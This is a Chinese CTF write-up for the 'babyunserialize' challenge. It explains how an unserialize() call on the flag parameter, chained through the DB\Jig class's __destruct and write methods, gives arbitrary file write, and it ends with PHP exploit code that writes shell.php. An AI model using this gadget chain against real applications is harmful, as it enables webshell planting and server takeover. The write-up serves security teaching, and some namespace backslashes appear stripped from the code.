1.打开题目,云里雾里
看到?flag=想到要么是文件包含,要么是文件读取。最后发现都不是,源代码泄漏拿到代码。
2.拨开云雾见日出
原来,是直接把flag参数带入了unserialize
函数进行反序列化了。
直接搜索__destruct
,有三个
jig.php中的和ws.php中的看似都可以利用。
3.阅读代码形成利用链
DBJig
类中的__destruct
方法代码:
<?php
....
/**
* Write data to memory/file
* @return int
* @param $file string
* @param $data array
**/
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
return $fw->write($this->dir.$file,$out);
}
....
/**
* save file on destruction
**/
function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}
如果$this->lazy
为TRUE
,那么会进入$this->write
函数,此函数的参数来源于$this->data
这个数组。数组的key为文件名,value为内容,继续看$this->write
函数的实现。
如果$this->dir
为空,或者$this->lazy
为TRUE
,则返回count($this->data[$file]=$data)
。因为在__destruct函数的流程中已经将$this->lazy设置为FALSE了,所以,我们只需要满足$this->dir不为空即可。
然后看到创建了一个类,先不管他,往下走。进入switch case
循环,$this->format
为0
则进入json_encode
,1
则进入serialize
。
那我们设置$this->format
为0
即可。
接着调用Base::instance()
类的write
方法,跟进一下:
直接调用类file_put_contents
来写文件。综上,形成了一条写文件的利用链。
4.构造payload写shell
按照上面的思路,不难写出exp:
<?php
namespace DB{
class Jig {
public $format;
public $data;
public $lazy;
public $dir;
}
}
namespace {
$jig = new DBJig();
$jig->format = 0;
$jig->data = array('shell.php'=>['aaa'=>'<?php phpinfo();?>']);
$jig->lazy = TRUE;
$jig->dir = './';
echo serialize($jig);
}
源代码在公众号回复babyunserialize 获取下载链接。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论